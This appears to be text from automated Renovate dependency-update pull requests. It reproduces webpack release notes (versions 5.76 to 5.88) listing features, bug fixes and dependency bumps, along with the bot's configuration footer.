Template to use GitHub Copilot for PR's integration and fix template name usage by [@​geromegrignon](https://togithub.com/geromegrignon) in [https://github.com/webpack/webpack/pull/16890](https://togithub.com/webpack/webpack/pull/16890) - ci: update actions/cache to v3 by [@​armujahid](https://togithub.com/armujahid) in [https://github.com/webpack/webpack/pull/16462](https://togithub.com/webpack/webpack/pull/16462) - webpack org Collaborators and Members now have [funded GitHub Codespaces!](https://togithub.com/openjs-foundation/cross-project-council/issues/1009) [](https://togithub.com/codespaces/new?hide_repo_select=true\&ref=main\&repo=3678731\&machine=standardLinux32gb\&location=WestUs2) #### New Contributors - [@​geromegrignon](https://togithub.com/geromegrignon) made their first contribution in [https://github.com/webpack/webpack/pull/16890](https://togithub.com/webpack/webpack/pull/16890) - [@​armujahid](https://togithub.com/armujahid) made their first contribution in [https://github.com/webpack/webpack/pull/16462](https://togithub.com/webpack/webpack/pull/16462) - [@​long76](https://togithub.com/long76) made their first contribution in [https://github.com/webpack/webpack/pull/16562](https://togithub.com/webpack/webpack/pull/16562) - [@​weareoutman](https://togithub.com/weareoutman) made their first contribution in [https://github.com/webpack/webpack/pull/16685](https://togithub.com/webpack/webpack/pull/16685) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.77.0...v5.78.0 ### [`v5.77.0`](https://togithub.com/webpack/webpack/releases/tag/v5.77.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.76.3...v5.77.0) #### New Features - Add a new output option, `output.workerPublicPath` by [@​thomastay](https://togithub.com/thomastay) in [https://github.com/webpack/webpack/pull/16671](https://togithub.com/webpack/webpack/pull/16671) #### Developer Experience - Improve `resolve.extensions` error message to suggest when `"."` is missing before the extension by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16807](https://togithub.com/webpack/webpack/pull/16807) #### Contributor Experience - Enable GitHub Copilot for PR's into default Pull Request Template by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/16881](https://togithub.com/webpack/webpack/pull/16881) #### New Contributors - [@​thomastay](https://togithub.com/thomastay) made their first contribution in [https://github.com/webpack/webpack/pull/16671](https://togithub.com/webpack/webpack/pull/16671) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.76.3...v5.77.0 ### [`v5.76.3`](https://togithub.com/webpack/webpack/releases/tag/v5.76.3) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.76.2...v5.76.3) #### Bugfixes - Non-javascript files will correctly **not** be imported when using `experiments.outputModule` (ES Module Output) by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16809](https://togithub.com/webpack/webpack/pull/16809) - Limit console output progress bar length to 40 when no columns provided by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16810](https://togithub.com/webpack/webpack/pull/16810) - Add missing NodeJS Builtin Modules support for `inspector/promises`, `readline/promises`, and `stream/consumers` by [@​ShenHongFei](https://togithub.com/ShenHongFei) in [https://github.com/webpack/webpack/pull/16841](https://togithub.com/webpack/webpack/pull/16841) - webpack bin/cli now properly respects `NODE_PATH` env variable by [@​snitin315](https://togithub.com/sni </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate](https://www.mend.io/free-developer-tools/renovate/). View repository job log [here](https://developer.mend.io/github/X-oss-byte/Canary-nextjs).
[](https://renovatebot.com) This PR contains the following updates: | Package | Change | Age | Adoption | Passing | Confidence | |---|---|---|---|---|---| | [webpack](https://togithub.com/webpack/webpack) | [`5.81.0` -> `5.88.2`](https://renovatebot.com/diffs/npm/webpack/5.81.0/5.88.2) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | --- ### Release Notes <details> <summary>webpack/webpack (webpack)</summary> ### [`v5.88.2`](https://togithub.com/webpack/webpack/releases/tag/v5.88.2) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.88.1...v5.88.2) #### Bug Fixes - Fixed a bug where unused identifiers should retain names when using css modules by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17444](https://togithub.com/webpack/webpack/pull/17444) **Full Changelog**: webpack/webpack@v5.88.1...v5.88.2 ### [`v5.88.1`](https://togithub.com/webpack/webpack/releases/tag/v5.88.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.88.0...v5.88.1) #### Developer Experience - Significantly improve TypeScript coverage for Library Plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17414](https://togithub.com/webpack/webpack/pull/17414) **Full Changelog**: webpack/webpack@v5.88.0...v5.88.1 ### [`v5.88.0`](https://togithub.com/webpack/webpack/releases/tag/v5.88.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.87.0...v5.88.0) #### New Features - \[CSS] - Use `css/auto` as the default css mode by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17399](https://togithub.com/webpack/webpack/pull/17399) #### Bug Fixes - Fix bugs related to require.context and layer by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17388](https://togithub.com/webpack/webpack/pull/17388) - Fix bug in runtime for CSS loading by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17400](https://togithub.com/webpack/webpack/pull/17400) - Correct indirect call for tagged template expressions using correct this context by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17397](https://togithub.com/webpack/webpack/pull/17397) - Update environment support for KaiOS browser by [@​steverep](https://togithub.com/steverep) in [https://github.com/webpack/webpack/pull/17395](https://togithub.com/webpack/webpack/pull/17395) - Fix async module runtime code for running top-level-await by [@​ahabhgk](https://togithub.com/ahabhgk) in [https://github.com/webpack/webpack/pull/17393](https://togithub.com/webpack/webpack/pull/17393) #### Developer Experience - Add example for stats minimal output by [@​ersachin3112](https://togithub.com/ersachin3112) in [https://github.com/webpack/webpack/pull/17406](https://togithub.com/webpack/webpack/pull/17406) - Significantly improve type coverage for Dependency, Runtime, Template classes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17394](https://togithub.com/webpack/webpack/pull/17394) #### Dependencies & Maintenance - Bump browserslist from 4.21.8 to 4.21.9 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17389](https://togithub.com/webpack/webpack/pull/17389) - Bump acorn from 8.8.2 to 8.9.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17402](https://togithub.com/webpack/webpack/pull/17402) - Bump eslint from 8.42.0 to 8.43.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17401](https://togithub.com/webpack/webpack/pull/17401) - Bump eslint-plugin-jest from 27.2.1 to 27.2.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17407](https://togithub.com/webpack/webpack/pull/17407) #### New Contributors - [@​steverep](https://togithub.com/steverep) made their first contribution in [https://github.com/webpack/webpack/pull/17395](https://togithub.com/webpack/webpack/pull/17395) **Full Changelog**: webpack/webpack@v5.87.0...v5.88.0 ### [`v5.87.0`](https://togithub.com/webpack/webpack/releases/tag/v5.87.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.86.0...v5.87.0) #### New Features - Implement `fetchPriority` feature as parser option and magic comment by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17249](https://togithub.com/webpack/webpack/pull/17249) - \[CSS] - Introduce 'css/auto' as a css module type by [@​ahabhgk](https://togithub.com/ahabhgk) in [https://github.com/webpack/webpack/pull/16577](https://togithub.com/webpack/webpack/pull/16577) - \[CSS] - Style-specific fields now automatically resolve in package.json by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17346](https://togithub.com/webpack/webpack/pull/17346) - webpack configuration API now accepts "falsy values" loaders and plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17339](https://togithub.com/webpack/webpack/pull/17339) #### Bug Fixes - Fix codecov badge in readme by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17353](https://togithub.com/webpack/webpack/pull/17353) #### Developer Experience - Add link to svelte loader for webpack by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17369](https://togithub.com/webpack/webpack/pull/17369) - Increase parser API types in internal plugins across dependency plugins [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17365](https://togithub.com/webpack/webpack/pull/17365) #### Dependencies & Maintenance - Bump memfs from 3.5.2 to 3.5.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17347](https://togithub.com/webpack/webpack/pull/17347) - Bump webpack-cli from 5.1.3 to 5.1.4 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17349](https://togithub.com/webpack/webpack/pull/17349) - Bump es-module-lexer from 1.2.1 to 1.3.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17362](https://togithub.com/webpack/webpack/pull/17362) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.5 to 20.3.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17361](https://togithub.com/webpack/webpack/pull/17361) - Bump core-js from 3.30.2 to 3.31.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17360](https://togithub.com/webpack/webpack/pull/17360) - Bump browserslist from 4.21.6 to 4.21.8 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17367](https://togithub.com/webpack/webpack/pull/17367) - Bump [@​types/node](https://togithub.com/types/node) from 20.3.0 to 20.3.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17366](https://togithub.com/webpack/webpack/pull/17366) #### New Contributors [@​aboktor](https://togithub.com/aboktor) made their first contribution in [#​16991](https://togithub.com/webpack/webpack/issues/16991) [#​16989](https://togithub.com/webpack/webpack/issues/16989) [@​silverwind](https://togithub.com/silverwind) made their first contribution in [#​17339](https://togithub.com/webpack/webpack/issues/17339) via [#​17329](https://togithub.com/webpack/webpack/issues/17329) **Full Changelog**: webpack/webpack@v5.86.0...v5.87.0 ### [`v5.86.0`](https://togithub.com/webpack/webpack/releases/tag/v5.86.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.85.1...v5.86.0) #### New Features - Improved cache size performance via better handling of serialization for errors and bigints by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17282](https://togithub.com/webpack/webpack/pull/17282) - Introduce an export default handler function option for `ProgressPlugin` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17312](https://togithub.com/webpack/webpack/pull/17312) - Support passing `RegExp` to `splitChunks.chunks` by [@​hyf0](https://togithub.com/hyf0) in [https://github.com/webpack/webpack/pull/17332](https://togithub.com/webpack/webpack/pull/17332) #### Bug Fixes - Fix layer capabilities for `ContextModule` types by [@​huozhi](https://togithub.com/huozhi) in [https://github.com/webpack/webpack/pull/17310](https://togithub.com/webpack/webpack/pull/17310) - Fix compatibility of `__non_webpack_require__` with ES modules by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17308](https://togithub.com/webpack/webpack/pull/17308) - Improve type coverage `Chunk`, `ChunkGroup`, and other plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/1731](https://togithub.com/webpack/webpack/pull/1731) - Do not add `js` extension for eval source maps when extension is not resolvable by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17331](https://togithub.com/webpack/webpack/pull/17331) #### Developer Experience - Improve type coverage for Json Module type and lazy load json-assertions package by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17301](https://togithub.com/webpack/webpack/pull/17301) #### Dependencies & Maintenance - Bump memfs from 3.5.1 to 3.5.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17315](https://togithub.com/webpack/webpack/pull/17315) - Bump webpack-cli from 5.1.1 to 5.1.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17314](https://togithub.com/webpack/webpack/pull/17314) - Bump eslint from 8.41.0 to 8.42.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17313](https://togithub.com/webpack/webpack/pull/17313) #### New Contributors - [@​huozhi](https://togithub.com/huozhi) made their first contribution in [https://github.com/webpack/webpack/pull/17310](https://togithub.com/webpack/webpack/pull/17310) - [@​hyf0](https://togithub.com/hyf0) made their first contribution in [https://github.com/webpack/webpack/pull/17332](https://togithub.com/webpack/webpack/pull/17332) **Full Changelog**: webpack/webpack@v5.85.1...v5.86.0 ### [`v5.85.1`](https://togithub.com/webpack/webpack/releases/tag/v5.85.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.85.0...v5.85.1) #### Bug Fixes - Fix bug in handling barrel imports ([#​17305](https://togithub.com/webpack/webpack/issues/17305)) by [@​bworline](https://togithub.com/bworline) in [https://github.com/webpack/webpack/pull/17307](https://togithub.com/webpack/webpack/pull/17307) - ***NOTE**: An internal API `BasicEvaluatedExpression.getMemberRangeStarts` has been changed to `BasicEvaluatedExpression.getMemberRanges`, please see type definition changes and the pull request for more information.* #### Dependencies & Maintenance - Bump [@​types/jest](https://togithub.com/types/jest) from 29.5.1 to 29.5.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17297](https://togithub.com/webpack/webpack/pull/17297) **Full Changelog**: webpack/webpack@v5.85.0...v5.85.1 ### [`v5.85.0`](https://togithub.com/webpack/webpack/releases/tag/v5.85.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.84.1...v5.85.0) #### New Features - Add `readonly` cache mode by [@​vankop](https://togithub.com/vankop) in [https://github.com/webpack/webpack/pull/15470](https://togithub.com/webpack/webpack/pull/15470) - Normalize property accessors for esm namespaces and chained member/call expressions by [@​bworline](https://togithub.com/bworline) in [https://github.com/webpack/webpack/pull/17203](https://togithub.com/webpack/webpack/pull/17203) - Support `environment` in loader context by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17281](https://togithub.com/webpack/webpack/pull/17281) - Introduce a new syntax for `addModule()` support in worklets - `*context.audioWorklet.addModule()` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17212](https://togithub.com/webpack/webpack/pull/17212) #### Bug Fixes - Fix type regression with unknown module type strings by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17266](https://togithub.com/webpack/webpack/pull/17266) #### Developer Experience - Use global runtime constants for webpack exports by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17270](https://togithub.com/webpack/webpack/pull/17270) - Add strict mode type coverage for WASM and Runtime code by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17267](https://togithub.com/webpack/webpack/pull/17267) - Add strict mode type coverage for runtime modules and runtime plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17261](https://togithub.com/webpack/webpack/pull/17261) - Add types for JSON & Asset Modules including their interfacing plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17262](https://togithub.com/webpack/webpack/pull/17262) - Add type coverage for Module subclasses and plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17272](https://togithub.com/webpack/webpack/pull/17272) #### Dependencies & Maintenance - Use GitHub Discussions instead of Gitter in issue templates by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17293](https://togithub.com/webpack/webpack/pull/17293) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.3 to 20.2.4 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17269](https://togithub.com/webpack/webpack/pull/17269) - Bump browserslist from 4.21.5 to 4.21.6 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17275](https://togithub.com/webpack/webpack/pull/17275) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.4 to 20.2.5 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17276](https://togithub.com/webpack/webpack/pull/17276) - Bump [@​babel/core](https://togithub.com/babel/core) from 7.21.8 to 7.22.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17278](https://togithub.com/webpack/webpack/pull/17278) **Full Changelog**: webpack/webpack@v5.84.1...v5.85.0 ### [`v5.84.1`](https://togithub.com/webpack/webpack/releases/tag/v5.84.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.84.0...v5.84.1) #### Bug Fixes - Fix regression in inner graph for reserved identifiers by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17265](https://togithub.com/webpack/webpack/pull/17265) #### Dependencies & Maintenance - Bump [@​types/jest](https://togithub.com/types/jest) from 29.5.0 to 29.5.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17027](https://togithub.com/webpack/webpack/pull/17027) - Bump simple-git from 3.18.0 to 3.19.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17263](https://togithub.com/webpack/webpack/pull/17263) **Full Changelog**: webpack/webpack@v5.84.0...v5.84.1 ### [`v5.84.0`](https://togithub.com/webpack/webpack/releases/tag/v5.84.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.83.1...v5.84.0) #### New Features - SourceMapDevToolPlugin now supports `append` option as a function by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17252](https://togithub.com/webpack/webpack/pull/17252) #### Bug Fixes - Fix multiple bugs referencing class names when shadowed by import name in properties and methods by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17233](https://togithub.com/webpack/webpack/pull/17233) - Allow DefinePlugin shorthand property by [@​shamoilarsi](https://togithub.com/shamoilarsi) in [https://github.com/webpack/webpack/pull/17231](https://togithub.com/webpack/webpack/pull/17231) - \[CSS] - Fix edge cases in parsing `@import` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17229](https://togithub.com/webpack/webpack/pull/17229) #### Developer Experience - Increase type coverage for serialization classes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17243](https://togithub.com/webpack/webpack/pull/17243) - Increase type coverage for `JavascriptParser` and `ModuleDependency` subclasses by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17236](https://togithub.com/webpack/webpack/pull/17236) - Increase type coverage to `strict`-mode quality for Configuration/Normalization objects by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17247](https://togithub.com/webpack/webpack/pull/17247) - Refactor duplicate strings by replacing them with constant for **webpack_require** instead of string literal by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17228](https://togithub.com/webpack/webpack/pull/17228) - Add test case for `with { type: "json" }` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17230](https://togithub.com/webpack/webpack/pull/17230) - Add test case for destructuring by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17248](https://togithub.com/webpack/webpack/pull/17248) #### Dependencies & Maintenance - Add GitHub discussions badge in README by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17251](https://togithub.com/webpack/webpack/pull/17251) - Bump enhanced-resolve to 5.14.1 by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17257](https://togithub.com/webpack/webpack/pull/17257) - Bump [@​types/node](https://togithub.com/types/node) from 20.1.7 to 20.2.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17219](https://togithub.com/webpack/webpack/pull/17219) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.0 to 20.2.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17226](https://togithub.com/webpack/webpack/pull/17226) - Bump webpack-cli from 5.1.0 to 5.1.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17164](https://togithub.com/webpack/webpack/pull/17164) - Bump eslint from 8.39.0 to 8.40.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17148](https://togithub.com/webpack/webpack/pull/17148) - Bump [@​babel/core](https://togithub.com/babel/core) from 7.21.4 to 7.21.8 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17126](https://togithub.com/webpack/webpack/pull/17126) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.1 to 20.2.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17238](https://togithub.com/webpack/webpack/pull/17238) - Bump eslint from 8.40.0 to 8.41.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17237](https://togithub.com/webpack/webpack/pull/17237) #### New Contributors - [@​shamoilarsi](https://togithub.com/shamoilarsi) made their first contribution in [https://github.com/webpack/webpack/pull/17231](https://togithub.com/webpack/webpack/pull/17231) **Full Changelog**: webpack/webpack@v5.83.1...v5.84.0 ### [`v5.83.1`](https://togithub.com/webpack/webpack/releases/tag/v5.83.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.83.0...v5.83.1) #### Bug Fixes - Fix regression in import/export normailization effecting mini-css-extract-plugin by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17214](https://togithub.com/webpack/webpack/pull/17214) **Full Changelog**: webpack/webpack@v5.83.0...v5.83.1 ### [`v5.83.0`](https://togithub.com/webpack/webpack/releases/tag/v5.83.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.82.1...v5.83.0) #### New Features - Normalize property access for imports and exports by [@​bworline](https://togithub.com/bworline) in [https://github.com/webpack/webpack/pull/17137](https://togithub.com/webpack/webpack/pull/17137) - Top Level Await is now enabled by default by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17192](https://togithub.com/webpack/webpack/pull/17192) #### Bug Fixes - Correct `chunkgroup.groupsIterable` return type by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17196](https://togithub.com/webpack/webpack/pull/17196) - Fix bug in Rule Matcher type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17207](https://togithub.com/webpack/webpack/pull/17207) - Fixed apply event callback and optimizing callback event type by [@​nuintun](https://togithub.com/nuintun) in [https://github.com/webpack/webpack/pull/16094](https://togithub.com/webpack/webpack/pull/16094) - Fix types in hot module replacement APIs by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17193](https://togithub.com/webpack/webpack/pull/17193) #### Developer Experience - Expose `ChunkGroup` to type definitions by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17201](https://togithub.com/webpack/webpack/pull/17201) - Add `NormalModuleFactory`'s `ResolveData` type to public interface by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17195](https://togithub.com/webpack/webpack/pull/17195) - Document `compilation.afterChunks` hook by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17202](https://togithub.com/webpack/webpack/pull/17202) #### Dependencies & Maintenance - Bump [@​webassemblyjs/wasm-edit](https://togithub.com/webassemblyjs/wasm-edit) from 1.11.5 to 1.11.6 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17168](https://togithub.com/webpack/webpack/pull/17168) - Bump wast-loader from 1.11.5 to 1.11.6 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17163](https://togithub.com/webpack/webpack/pull/17163) - Bump yarn-deduplicate from 6.0.1 to 6.0.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17184](https://togithub.com/webpack/webpack/pull/17184) - Fix command by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17154](https://togithub.com/webpack/webpack/pull/17154) - Bump [@​types/node](https://togithub.com/types/node) from 18.16.3 to 20.1.7 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17205](https://togithub.com/webpack/webpack/pull/17205) #### New Contributors - [@​bworline](https://togithub.com/bworline) made their first contribution in [https://github.com/webpack/webpack/pull/17137](https://togithub.com/webpack/webpack/pull/17137) - [@​nuintun](https://togithub.com/nuintun) made their first contribution in [https://github.com/webpack/webpack/pull/16094](https://togithub.com/webpack/webpack/pull/16094) **Full Changelog**: webpack/webpack@v5.82.1...v5.83.0 ### [`v5.82.1`](https://togithub.com/webpack/webpack/releases/tag/v5.82.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.82.0...v5.82.1) #### Bug Fixes - \[CSS] - Support nesting in CSS modules and bug fixes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17133](https://togithub.com/webpack/webpack/pull/17133) - \[CSS] - Fix crash with `importModule` when CSS enabled by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17140](https://togithub.com/webpack/webpack/pull/17140) - Fix bug where `output.hashFunction` was failing to generate debug hash by [@​ahabhgk](https://togithub.com/ahabhgk) in [https://github.com/webpack/webpack/pull/16950](https://togithub.com/webpack/webpack/pull/16950) - Reduce the amount of generated code for chunk loading by [@​lvivski](https://togithub.com/lvivski) in [https://github.com/webpack/webpack/pull/17151](https://togithub.com/webpack/webpack/pull/17151) - Use module preload for ESM module output by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17143](https://togithub.com/webpack/webpack/pull/17143) #### Developer Experience - Improve module type strictness for Module.prototype.type expand ModuleTypeConstants by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17136](https://togithub.com/webpack/webpack/pull/17136) #### Dependencies & Maintenance - Update package.json description by [@​JeraldVin](https://togithub.com/JeraldVin) in [https://github.com/webpack/webpack/pull/17145](https://togithub.com/webpack/webpack/pull/17145) - Bump webpack-cli from 5.0.2 to 5.1.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17146](https://togithub.com/webpack/webpack/pull/17146) - Bump core-js from 3.30.1 to 3.30.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17149](https://togithub.com/webpack/webpack/pull/17149) - Bump enhanced-resolve to v5.14.0 by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17160](https://togithub.com/webpack/webpack/pull/17160) #### New Contributors - [@​JeraldVin](https://togithub.com/JeraldVin) made their first contribution in [https://github.com/webpack/webpack/pull/17145](https://togithub.com/webpack/webpack/pull/17145) **Full Changelog**: webpack/webpack@v5.82.0...v5.82.1 ### [`v5.82.0`](https://togithub.com/webpack/webpack/releases/tag/v5.82.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.81.0...v5.82.0) #### New Features - \[CSS] - Add URL dependencies support to consume shared module via module federation by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16945](https://togithub.com/webpack/webpack/pull/16945) - Allow webpack-cli to be in ESM by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17088](https://togithub.com/webpack/webpack/pull/17088) - Allow specifying "onPolicyCreationFailure" mode for trusted types by [@​Zlatkovsky](https://togithub.com/Zlatkovsky) in [https://github.com/webpack/webpack/pull/16990](https://togithub.com/webpack/webpack/pull/16990) #### Bug Fixes - \[CSS] - Respect `media`/`supports`/`layer` from parent CSS module by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17115](https://togithub.com/webpack/webpack/pull/17115) - \[CSS] - Add warning & support for any [@​import](https://togithub.com/import) rules must precede all other rules by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17118](https://togithub.com/webpack/webpack/pull/17118) - \[CSS] - Support handling `#hash` URL as external (similar to Parcel) by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17116](https://togithub.com/webpack/webpack/pull/17116) - Optimize numberHash.js performance by removing inner loops by [@​alexkuz](https://togithub.com/alexkuz) in [https://github.com/webpack/webpack/pull/17074](https://togithub.com/webpack/webpack/pull/17074) - Improve template string comparison algorithm by [@​An0nie](https://togithub.com/An0nie) in [https://github.com/webpack/webpack/pull/17079](https://togithub.com/webpack/webpack/pull/17079) #### Tests & Contributor Experience - \[CSS] - Increase imports external test coverage by [@​alexander-akait](https://togithub.com/alexander-akait) in 